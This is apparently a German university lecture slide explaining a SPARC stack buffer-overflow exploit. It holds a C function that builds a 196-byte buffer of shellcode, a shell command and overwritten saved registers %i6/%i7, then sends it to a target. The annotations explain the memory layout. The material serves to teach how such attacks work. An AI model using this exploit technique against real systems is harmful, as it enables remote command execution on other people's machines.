|
|
void fillbuffer(int fd, char * command) { char buffer[196]; int i; ssize_t nbytes; bzero(buffer, sizeof(buffer)); bcopy(code, buffer, CODESIZE); bcopy(command, buffer + CODESIZE, strlen(command) + 1); bcopy(links, buffer + sizeof buffer - 8, 8); if ((nbytes = write(fd, buffer, sizeof buffer)) != sizeof buffer) { fprintf(stderr, "unable to send exploit buffer\n"); } } |
128 Bytes für name, 4 Bytes
ungenutzter Raum und 64 Bytes für die
gesicherten Register ergeben insgesamt 196 Bytes.
| |
An den Anfang kommt des zu füllenden Buffers
kommt der auszuführende Code.
| |
Damit wir flexibel sind, führt der Code
einen exec-Systemaufruf auf mit dem
Shell-Kommando, das wir dahinter ablegen.
| |
Zuletzt legen wir die Werte für die
Sicherungskopien von %i6 und %i7 fest.
| |
Bliebe der Wert für %i6 auf 0, dann käme
es zum Crash, bevor %i7 verwendet wird.
|
Copyright © 2002,2003 Andreas F. Borchert, in HTML konvertiert am 11.02.2003 |